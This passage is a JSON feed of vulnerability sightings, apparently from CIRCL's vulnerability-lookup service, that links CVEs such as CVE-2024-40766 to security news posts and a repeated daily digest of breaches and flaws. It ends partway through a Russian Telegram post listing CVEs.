SANS ISC\nhttps://isc.sans.edu/diary/rss/33094 #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-06-23T12:56:30.694022Z"}, {"uuid": "8da8db3c-0de1-4842-a9bb-906655d134a5", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/81302ce6-18e9-4aca-8feb-def6547466a3", "content": "", "creation_timestamp": "2026-06-23T14:05:59.768221Z"}, {"uuid": "2eccdf32-8ae9-4f3a-b90e-ac2a64a6e983", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/17955b2d-4b4b-4e93-b8f9-ffe8868d3a69", "content": "", "creation_timestamp": "2026-06-23T14:05:53.089335Z"}, {"uuid": "7d41c833-0181-4541-8bc7-eb35fa0cdfcf", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/7882b388-bd2c-475c-8f76-15c3d83df575", "content": "", "creation_timestamp": "2026-06-23T14:06:04.822543Z"}, {"uuid": "47d0e485-4c33-4cf2-b2d3-f63f80c48127", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0e0eee64-aad5-4685-b853-73260bf8043e", "content": "", "creation_timestamp": "2026-06-23T14:06:04.760638Z"}, {"uuid": "4542f677-34ff-4d7b-9ecb-3a76743dae96", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/35c5274c-5f43-4843-b0ac-f0f89ab6b629", "content": "", "creation_timestamp": "2026-06-23T14:05:57.687704Z"}, {"uuid": "9c678218-62d1-4e90-b283-abed7f0c6881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3moyl4vcuoc27", "content": "CVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration., (Tue, Jun 23rd)\n#hackernews #news", "creation_timestamp": "2026-06-23T23:39:39.388891Z"}, {"uuid": "7d2386a4-d78f-49dd-ac40-4e5f11920381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116804930613951549", "content": "Eight-Year-Old Samsung KNOX Flaw Exposed Millions of Galaxy Devices to Kernel AttacksSource URL: https://www.securityweek.com/eight-year-old-samsung-knox-flaw-exposed-millions-of-galaxy-devices-to-kernel-attacks/Researchers disclosed a high-severity use-after-free (UAF) race condition flaw (CVE-2026-20971, CVSS 7.8) affecting Samsung Galaxy S9 through S25 devices. The bug resides in the interaction between the kernel's process authenticator (PROCA) and its integrity subsystem (FIVE), leaving a tiny preemption window open during child process spawning that attackers can exploit to compromise the kernel.Mythos Discovers 'Squidbleed,' a Memory Leak That's Gone Undetected Since Clinton EraSource URL: https://www.theregister.com/security/2026/06/23/mythos-discovers-squidbleed-a-memory-leak-thats-gone-undetected-since-clinton-era/A 29-year-old vulnerability dubbed \"Squidbleed\" (CVE-2026-47729) was discovered in the popular open-source caching proxy server Squid using Anthropic's Claude Mythos Preview AI. The flaw silently leaks users' plaintext HTTP requests, credentials, and session tokens, posing significant data exposure risks across enterprise networks and older legacy environments. It was resolved in version 7.6.FortiBleed-kyberhy\u00f6kk\u00e4yskampanjan vaikutukset n\u00e4kyv\u00e4t my\u00f6s SuomessaSource URL: https://www.kyberturvallisuuskeskus.fi/fi/uutiset/fortibleed-kyberhyokkayskampanjan-vaikutukset-nakyvat-myos-suomessaThe global FortiBleed cyberattack campaign heavily impacts Fortinet FortiGate firewalls and SSL-VPN appliances using previously leaked or stolen credentials. The Finnish National Cyber Security Centre (Kyberturvallisuuskeskus) has begun mapping targeted organizations across Finland and releasing remediation guidelines to counter ongoing unauthorized access attempts.CVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration.Source URL: https://isc.sans.edu/diary/rss/33094Despite a 2024 patch for an improper access control flaw (CVE-2024-40766, CVSS 9.3) impacting SonicWall Gen 5, 6, and 7 firewalls, ransomware operators continue to successfully compromise networks due to unmanaged configurations. The vulnerability targets the management interface and SSLVPN services, allowing threat actors to drop entire networks or gain complete device control.New macOS ClickFix Attack Silently Mounts DMGs to Push InfostealerSource URL: https://www.bleepingcomputer.com/news/security/new-macos-clickfix-attack-silently-mounts-dmgs-to-push-infostealer/A novel macOS ClickFix social engineering campaign tricks users into running malicious Terminal commands via fake CAPTCHA verification prompts. Upon execution, the script uses the native hdiutil utility to silently download, mount, and execute a disk image (DMG) bundle containing the Atomic macOS Stealer (AMOS), harvesting browser credentials, system Keychains, and crypto wallet data.'Cordyceps': Mushrooming Malicious Pull Requests Threaten Developer WorkflowsSource URL: https://www.darkreading.com/application-security/cordyceps-malicious-pull-requests-developer-workflowsDubbed \"Cordyceps,\" a newly identified architectural weakness within automated CI/CD pipelines allows malicious pull requests to compromise software supply chains. By exploiting overly permissive access controls in automated pre-merge testing workflows, attackers can execute command injection to hijack highly privileged signing keys and access tokens.The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data ExfiltrationSource URL: https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/Palo Alto Networks Unit 42 uncovered a structural flaw across AWS, Google Cloud, and Microsoft Azure involving global namespace collision. Attackers can silently hijack an organization's active cloud data streams by anticipating, deleting, and immediately recreating targeted storage buckets under their own control, leaving minimal detection signatures during data exfiltration.LastPass Confirms Data Breach in Klue Supply Chain AttackSource URL: https://www.bleepingcomputer.com/news/security/lastpass-confirms-data-breach-in-klue-supply-chain-attack/LastPass suffered a security breach impacting its corporate Salesforce environment after threat actors stole OAuth tokens from Klue, a third-party market intelligence platform. While customer password vaults and internal core infrastructure remain fully isolated and untouched, the attackers successfully extracted internal corporate CRM data, customer names, and support log information.Tata Electronics Confirms Cyberattack After Alleged Apple, Tesla Documents Appear OnlineSource URL: https://therecord.media/tata-electronics-confirms-cyberattackIndian manufacturing giant Tata Electronics confirmed a recent network breach following claims by extortion group \"World Leaks,\" who published stolen documents allegedly detailing proprietary client data from Apple and Tesla. Tata maintains that the incident was isolated, successfully contained, and has caused zero operational downtime.Payouts King Ransomware Initial Access Broker Deploys New Edgecution MalwareSource URL: https://www.zscaler.com/blogs/security-research/payouts-king-ransomware-initial-access-broker-deploys-new-edgecutionZscaler ThreatLabz isolated a stealthy delivery mechanism dubbed \"Edgecution,\" deployed by initial access brokers linked to the Payouts King ransomware family. The attack abuses a malicious Microsoft Edge browser extension that manipulates the Chrome native messaging protocol to bypass browser sandboxing entirely, triggering arbitrary local file system modification and execution.AI Models Capable of Launching Major Cyberattacks Months Away, Five Eyes Alliance WarnsSource URL: https://www.cybersecuritydive.com/news/ai-cyberattacks-five-eyes-frontier-models-warning/An international intelligence coalition comprising the United States, United Kingdom, Canada, Australia, and New Zealand issued a joint advisory warning that advanced frontier AI models are rapidly collapsing offensive cyber timelines. The group cautioned corporate boards and infrastructure operators that AI-driven exploitation capabilities will outpace standard enterprise defenses in a matter of months rather than years, vastly lowering technical barriers for automated network intrusions.14 Million Email Accounts Exposed in Cyberattack on Japanese Telecom Giant KDDISource URL: https://www.nippon.com/en/news/yjj2026062301023/Japanese telecommunications provider KDDI Corp. disclosed a massive data breach targeting its email infrastructure utilized by several domestic internet service providers. The cyberattack, which exploited zero-day vulnerabilities in a third-party software component embedded in the email system, has potentially exposed up to 14.22 million user email addresses and encrypted passwords across major partner networks including JCOM, Biglobe, and Nifty.Active Exploitation of Cisco Unified Communications Manager Flaw Triggers Root-Level RiskSource URL: https://thehackernews.com/2026/06/23/attackers-exploit-cisco-unified-cm-flaw-weeks-after-patch-release/Threat intelligence teams detected active, in-the-wild exploitation of a critical server-side request forgery (SSRF) flaw in Cisco's Unified Communications Manager and Session Management Edition. Tracked as CVE-2026-20230 (CVSS 8.6), the bug allows unauthenticated, remote attackers to send crafted HTTP requests to the WebDialer service, enabling them to write arbitrary files directly to the underlying operating system and escalate privileges to root.", "creation_timestamp": "2026-06-24T11:49:58.327985Z"}, {"uuid": "a9a06f70-b3eb-4339-bf61-f47a6c9f35d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://threatintel.cc/2026/06/24/morning-cyber-summary.html", "content": "Eight-Year-Old Samsung KNOX Flaw Exposed Millions of Galaxy Devices to Kernel Attacks\n\nSource URL: https://www.securityweek.com/eight-year-old-samsung-knox-flaw-exposed-millions-of-galaxy-devices-to-kernel-attacks/\nResearchers disclosed a high-severity use-after-free (UAF) race condition flaw (CVE-2026-20971, CVSS 7.8) affecting Samsung Galaxy S9 through S25 devices. The bug resides in the interaction between the kernel’s process authenticator (PROCA) and its integrity subsystem (FIVE), leaving a tiny preemption window open during child process spawning that attackers can exploit to compromise the kernel.\n\nMythos Discovers ‘Squidbleed,’ a Memory Leak That’s Gone Undetected Since Clinton Era\n\nSource URL: https://www.theregister.com/security/2026/06/23/mythos-discovers-squidbleed-a-memory-leak-thats-gone-undetected-since-clinton-era/\nA 29-year-old vulnerability dubbed “Squidbleed” (CVE-2026-47729) was discovered in the popular open-source caching proxy server Squid using Anthropic’s Claude Mythos Preview AI. The flaw silently leaks users' plaintext HTTP requests, credentials, and session tokens, posing significant data exposure risks across enterprise networks and older legacy environments. It was resolved in version 7.6.\n\nFortiBleed-kyberhy\u00f6kk\u00e4yskampanjan vaikutukset n\u00e4kyv\u00e4t my\u00f6s Suomessa\n\nSource URL: https://www.kyberturvallisuuskeskus.fi/fi/uutiset/fortibleed-kyberhyokkayskampanjan-vaikutukset-nakyvat-myos-suomessa\nThe global FortiBleed cyberattack campaign heavily impacts Fortinet FortiGate firewalls and SSL-VPN appliances using previously leaked or stolen credentials. The Finnish National Cyber Security Centre (Kyberturvallisuuskeskus) has begun mapping targeted organizations across Finland and releasing remediation guidelines to counter ongoing unauthorized access attempts.\n\nCVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration.\n\nSource URL: https://isc.sans.edu/diary/rss/33094\nDespite a 2024 patch for an improper access control flaw (CVE-2024-40766, CVSS 9.3) impacting SonicWall Gen 5, 6, and 7 firewalls, ransomware operators continue to successfully compromise networks due to unmanaged configurations. The vulnerability targets the management interface and SSLVPN services, allowing threat actors to drop entire networks or gain complete device control.\n\nNew macOS ClickFix Attack Silently Mounts DMGs to Push Infostealer\n\nSource URL: https://www.bleepingcomputer.com/news/security/new-macos-clickfix-attack-silently-mounts-dmgs-to-push-infostealer/\nA novel macOS ClickFix social engineering campaign tricks users into running malicious Terminal commands via fake CAPTCHA verification prompts. Upon execution, the script uses the native hdiutil utility to silently download, mount, and execute a disk image (DMG) bundle containing the Atomic macOS Stealer (AMOS), harvesting browser credentials, system Keychains, and crypto wallet data.\n\n‘Cordyceps’: Mushrooming Malicious Pull Requests Threaten Developer Workflows\n\nSource URL: https://www.darkreading.com/application-security/cordyceps-malicious-pull-requests-developer-workflows\nDubbed “Cordyceps,” a newly identified architectural weakness within automated CI/CD pipelines allows malicious pull requests to compromise software supply chains. By exploiting overly permissive access controls in automated pre-merge testing workflows, attackers can execute command injection to hijack highly privileged signing keys and access tokens.\n\nThe Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration\n\nSource URL: https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/\nPalo Alto Networks Unit 42 uncovered a structural flaw across AWS, Google Cloud, and Microsoft Azure involving global namespace collision. Attackers can silently hijack an organization’s active cloud data streams by anticipating, deleting, and immediately recreating targeted storage buckets under their own control, leaving minimal detection signatures during data exfiltration.\n\nLastPass Confirms Data Breach in Klue Supply Chain Attack\n\nSource URL: https://www.bleepingcomputer.com/news/security/lastpass-confirms-data-breach-in-klue-supply-chain-attack/\nLastPass suffered a security breach impacting its corporate Salesforce environment after threat actors stole OAuth tokens from Klue, a third-party market intelligence platform. While customer password vaults and internal core infrastructure remain fully isolated and untouched, the attackers successfully extracted internal corporate CRM data, customer names, and support log information.\n\nTata Electronics Confirms Cyberattack After Alleged Apple, Tesla Documents Appear Online\n\nSource URL: https://therecord.media/tata-electronics-confirms-cyberattack\nIndian manufacturing giant Tata Electronics confirmed a recent network breach following claims by extortion group “World Leaks,” who published stolen documents allegedly detailing proprietary client data from Apple and Tesla. Tata maintains that the incident was isolated, successfully contained, and has caused zero operational downtime.\n\nPayouts King Ransomware Initial Access Broker Deploys New Edgecution Malware\n\nSource URL: https://www.zscaler.com/blogs/security-research/payouts-king-ransomware-initial-access-broker-deploys-new-edgecution\nZscaler ThreatLabz isolated a stealthy delivery mechanism dubbed “Edgecution,” deployed by initial access brokers linked to the Payouts King ransomware family. The attack abuses a malicious Microsoft Edge browser extension that manipulates the Chrome native messaging protocol to bypass browser sandboxing entirely, triggering arbitrary local file system modification and execution.\n\nAI Models Capable of Launching Major Cyberattacks Months Away, Five Eyes Alliance Warns\n\nSource URL: https://www.cybersecuritydive.com/news/ai-cyberattacks-five-eyes-frontier-models-warning/\nAn international intelligence coalition comprising the United States, United Kingdom, Canada, Australia, and New Zealand issued a joint advisory warning that advanced frontier AI models are rapidly collapsing offensive cyber timelines. The group cautioned corporate boards and infrastructure operators that AI-driven exploitation capabilities will outpace standard enterprise defenses in a matter of months rather than years, vastly lowering technical barriers for automated network intrusions.\n\n14 Million Email Accounts Exposed in Cyberattack on Japanese Telecom Giant KDDI\n\nSource URL: https://www.nippon.com/en/news/yjj2026062301023/\nJapanese telecommunications provider KDDI Corp. disclosed a massive data breach targeting its email infrastructure utilized by several domestic internet service providers. The cyberattack, which exploited zero-day vulnerabilities in a third-party software component embedded in the email system, has potentially exposed up to 14.22 million user email addresses and encrypted passwords across major partner networks including JCOM, Biglobe, and Nifty.\n\nActive Exploitation of Cisco Unified Communications Manager Flaw Triggers Root-Level Risk\n\nSource URL: https://thehackernews.com/2026/06/23/attackers-exploit-cisco-unified-cm-flaw-weeks-after-patch-release/\nThreat intelligence teams detected active, in-the-wild exploitation of a critical server-side request forgery (SSRF) flaw in Cisco’s Unified Communications Manager and Session Management Edition. Tracked as CVE-2026-20230 (CVSS 8.6), the bug allows unauthenticated, remote attackers to send crafted HTTP requests to the WebDialer service, enabling them to write arbitrary files directly to the underlying operating system and escalate privileges to root.", "creation_timestamp": "2026-06-24T09:50:42.000000Z"}, {"uuid": "18a4f668-a745-414a-99e6-148a9f97edc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40766", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mp2ihflbg52d", "content": "The patch fixed the code. Nobody fixed the configuration.\n\nCVE-2024-40766.\n\nhttps://www.yazoul.net/news/article/cve-2024-40766-the-patch-fixed-the-bug-nobody-fixed-the-configuration-tue-jun-23/\n\n#InfoSec #ThreatIntel", "creation_timestamp": "2026-06-24T17:57:10.407457Z"}, {"uuid": "cc1ce0a8-c0d8-4f7c-8ca1-91d19a266cab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://threatintel.cc/2026/06/24/morning-cyber-summary.html", "content": "Eight-Year-Old Samsung KNOX Flaw Exposed Millions of Galaxy Devices to Kernel Attacks\n\nSource URL: https://www.securityweek.com/eight-year-old-samsung-knox-flaw-exposed-millions-of-galaxy-devices-to-kernel-attacks/\nResearchers disclosed a high-severity use-after-free (UAF) race condition flaw (CVE-2026-20971, CVSS 7.8) affecting Samsung Galaxy S9 through S25 devices. The bug resides in the interaction between the kernel’s process authenticator (PROCA) and its integrity subsystem (FIVE), leaving a tiny preemption window open during child process spawning that attackers can exploit to compromise the kernel.\n\nMythos Discovers ‘Squidbleed,’ a Memory Leak That’s Gone Undetected Since Clinton Era\n\nSource URL: https://www.theregister.com/security/2026/06/23/mythos-discovers-squidbleed-a-memory-leak-thats-gone-undetected-since-clinton-era/\nA 29-year-old vulnerability dubbed “Squidbleed” (CVE-2026-47729) was discovered in the popular open-source caching proxy server Squid using Anthropic’s Claude Mythos Preview AI. The flaw silently leaks users' plaintext HTTP requests, credentials, and session tokens, posing significant data exposure risks across enterprise networks and older legacy environments. It was resolved in version 7.6.\n\nFortiBleed-kyberhy\u00f6kk\u00e4yskampanjan vaikutukset n\u00e4kyv\u00e4t my\u00f6s Suomessa\n\nSource URL: https://www.kyberturvallisuuskeskus.fi/fi/uutiset/fortibleed-kyberhyokkayskampanjan-vaikutukset-nakyvat-myos-suomessa\nThe global FortiBleed cyberattack campaign heavily impacts Fortinet FortiGate firewalls and SSL-VPN appliances using previously leaked or stolen credentials. The Finnish National Cyber Security Centre (Kyberturvallisuuskeskus) has begun mapping targeted organizations across Finland and releasing remediation guidelines to counter ongoing unauthorized access attempts.\n\nCVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration.\n\nSource URL: https://isc.sans.edu/diary/rss/33094\nDespite a 2024 patch for an improper access control flaw (CVE-2024-40766, CVSS 9.3) impacting SonicWall Gen 5, 6, and 7 firewalls, ransomware operators continue to successfully compromise networks due to unmanaged configurations. The vulnerability targets the management interface and SSLVPN services, allowing threat actors to drop entire networks or gain complete device control.\n\nNew macOS ClickFix Attack Silently Mounts DMGs to Push Infostealer\n\nSource URL: https://www.bleepingcomputer.com/news/security/new-macos-clickfix-attack-silently-mounts-dmgs-to-push-infostealer/\nA novel macOS ClickFix social engineering campaign tricks users into running malicious Terminal commands via fake CAPTCHA verification prompts. Upon execution, the script uses the native hdiutil utility to silently download, mount, and execute a disk image (DMG) bundle containing the Atomic macOS Stealer (AMOS), harvesting browser credentials, system Keychains, and crypto wallet data.\n\n‘Cordyceps’: Mushrooming Malicious Pull Requests Threaten Developer Workflows\n\nSource URL: https://www.darkreading.com/application-security/cordyceps-malicious-pull-requests-developer-workflows\nDubbed “Cordyceps,” a newly identified architectural weakness within automated CI/CD pipelines allows malicious pull requests to compromise software supply chains. By exploiting overly permissive access controls in automated pre-merge testing workflows, attackers can execute command injection to hijack highly privileged signing keys and access tokens.\n\nThe Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration\n\nSource URL: https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/\nPalo Alto Networks Unit 42 uncovered a structural flaw across AWS, Google Cloud, and Microsoft Azure involving global namespace collision. Attackers can silently hijack an organization’s active cloud data streams by anticipating, deleting, and immediately recreating targeted storage buckets under their own control, leaving minimal detection signatures during data exfiltration.\n\nLastPass Confirms Data Breach in Klue Supply Chain Attack\n\nSource URL: https://www.bleepingcomputer.com/news/security/lastpass-confirms-data-breach-in-klue-supply-chain-attack/\nLastPass suffered a security breach impacting its corporate Salesforce environment after threat actors stole OAuth tokens from Klue, a third-party market intelligence platform. While customer password vaults and internal core infrastructure remain fully isolated and untouched, the attackers successfully extracted internal corporate CRM data, customer names, and support log information.\n\nTata Electronics Confirms Cyberattack After Alleged Apple, Tesla Documents Appear Online\n\nSource URL: https://therecord.media/tata-electronics-confirms-cyberattack\nIndian manufacturing giant Tata Electronics confirmed a recent network breach following claims by extortion group “World Leaks,” who published stolen documents allegedly detailing proprietary client data from Apple and Tesla. Tata maintains that the incident was isolated, successfully contained, and has caused zero operational downtime.\n\nPayouts King Ransomware Initial Access Broker Deploys New Edgecution Malware\n\nSource URL: https://www.zscaler.com/blogs/security-research/payouts-king-ransomware-initial-access-broker-deploys-new-edgecution\nZscaler ThreatLabz isolated a stealthy delivery mechanism dubbed “Edgecution,” deployed by initial access brokers linked to the Payouts King ransomware family. The attack abuses a malicious Microsoft Edge browser extension that manipulates the Chrome native messaging protocol to bypass browser sandboxing entirely, triggering arbitrary local file system modification and execution.\n\nAI Models Capable of Launching Major Cyberattacks Months Away, Five Eyes Alliance Warns\n\nSource URL: https://www.cybersecuritydive.com/news/ai-cyberattacks-five-eyes-frontier-models-warning/\nAn international intelligence coalition comprising the United States, United Kingdom, Canada, Australia, and New Zealand issued a joint advisory warning that advanced frontier AI models are rapidly collapsing offensive cyber timelines. The group cautioned corporate boards and infrastructure operators that AI-driven exploitation capabilities will outpace standard enterprise defenses in a matter of months rather than years, vastly lowering technical barriers for automated network intrusions.\n\n14 Million Email Accounts Exposed in Cyberattack on Japanese Telecom Giant KDDI\n\nSource URL: https://www.nippon.com/en/news/yjj2026062301023/\nJapanese telecommunications provider KDDI Corp. disclosed a massive data breach targeting its email infrastructure utilized by several domestic internet service providers. The cyberattack, which exploited zero-day vulnerabilities in a third-party software component embedded in the email system, has potentially exposed up to 14.22 million user email addresses and encrypted passwords across major partner networks including JCOM, Biglobe, and Nifty.\n\nActive Exploitation of Cisco Unified Communications Manager Flaw Triggers Root-Level Risk\n\nSource URL: https://thehackernews.com/2026/06/23/attackers-exploit-cisco-unified-cm-flaw-weeks-after-patch-release/\nThreat intelligence teams detected active, in-the-wild exploitation of a critical server-side request forgery (SSRF) flaw in Cisco’s Unified Communications Manager and Session Management Edition. Tracked as CVE-2026-20230 (CVSS 8.6), the bug allows unauthenticated, remote attackers to send crafted HTTP requests to the WebDialer service, enabling them to write arbitrary files directly to the underlying operating system and escalate privileges to root.", "creation_timestamp": "2026-06-25T01:00:41.143922Z"}, {"uuid": "f901dc31-6a5f-48e6-ae00-da9066ad4b46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mp3v2ndidc2o", "content": "CVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration., (Tue, Jun 23rd)\n\nisc.sans.edu/diary/rss/33...\n\n#Cybersecurity #ThreatIntel #Vulnerability", "creation_timestamp": "2026-06-25T07:15:21.609629Z"}, {"uuid": "97600341-c8c1-42f7-a129-fd1a1ae1387e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4082", "type": "seen", "source": "https://t.me/purp_sec/441", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u041e\u0421 Unity 5.4 \u2014 \u0435\u0449\u0435 \u043c\u043d\u043e\u0433\u043e CVE, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445, \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Dell Unity. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 CVE-2025-22398 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 Dell Unity, UnityVSA \u0438 Unity XT. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 root.\n\n\ud83d\udd35 CVE-2024-12021 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Coverity, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 XSS-\u0430\u0442\u0430\u043a\u0443. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u043e\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a \u0434\u0440\u0443\u0433\u0438\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c XSS-\u0430\u0442\u0430\u043a.\n\n\ud83d\udd35 CVE-2025-0282 \u2014 \u043e\u0442\u0447\u0435\u0442 CISA \u043e \u043d\u043e\u0432\u043e\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e RESURGE, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u043c CVE-2025-0282 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430) \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Ivanti Connect Secure.\n\n\n\u0410 \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u0435\u0436\u0438\u0445 CVE \u0434\u043b\u044f \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0432 WordPress:\n\n\ud83d\udd35 CVE-2025-2294 \u2014 LFI-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Kubio AI Page Builder \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35 CVE-2024-3628 \u2014 \u0431\u0430\u0433 \u0432 EasyEvent, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043f\u043b\u0430\u0433\u0438\u043d\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 